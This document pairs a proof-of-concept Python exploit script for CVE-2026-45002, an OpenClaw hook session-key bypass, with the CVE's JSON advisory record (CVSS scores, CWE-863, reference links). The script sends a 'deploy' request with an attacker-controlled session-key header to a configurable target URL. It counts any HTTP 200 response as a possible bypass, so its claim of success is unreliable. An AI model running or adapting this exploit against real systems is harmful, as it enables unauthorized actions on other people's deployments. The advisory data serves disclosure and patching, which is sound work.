CVE-2026-45002

# PoC for CVE-2026-45002 # Description: This script demonstrates how an attacker can bypass the # hooks.allowRequestSessionKey restriction by leveraging template mapping. # It sends a request with a crafted header that the template engine # renders as the session key, effectively spoofing authorization. import requests def exploit_openclaw(target_url): # The endpoint that triggers the vulnerable hook hook_url = f"{target_url}/api/hook/trigger" # Attacker attempts to inject a session key via a header # that is referenced in the server-side template mapping (e.g., {{ headers.session_key }}) headers = { "Content-Type": "application/json", "X-Session-Key": "attacker_controlled_bypass_key" } # Payload intended for the hook payload = { "action": "deploy", "data": "malicious_payload" } try: print(f"[*] Sending request to {hook_url}...") response = requests.post(hook_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request successful! Potential bypass confirmed.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1:8080" exploit_openclaw(target)

{"cve": {"id": "CVE-2026-45002", "sourceIdentifier": "[email protected]", "published": "2026-05-11T18:16:40.383", "lastModified": "2026-05-12T14:20:56.547", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.4.20 contains a hook session-key bypass vulnerability that allows attackers to circumvent the hooks.allowRequestSessionKey opt-in restriction. Attackers can render externally influenced session keys through templated hook mappings to bypass webhook routing isolation controls."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/5275d008ed33203dba3f98e969ad683a65c416c3", "source": "[email protected]"}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-2xcp-x87w-q377", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/openclaw-hook-session-key-bypass-via-template-mapping", "source": "[email protected]"}]}}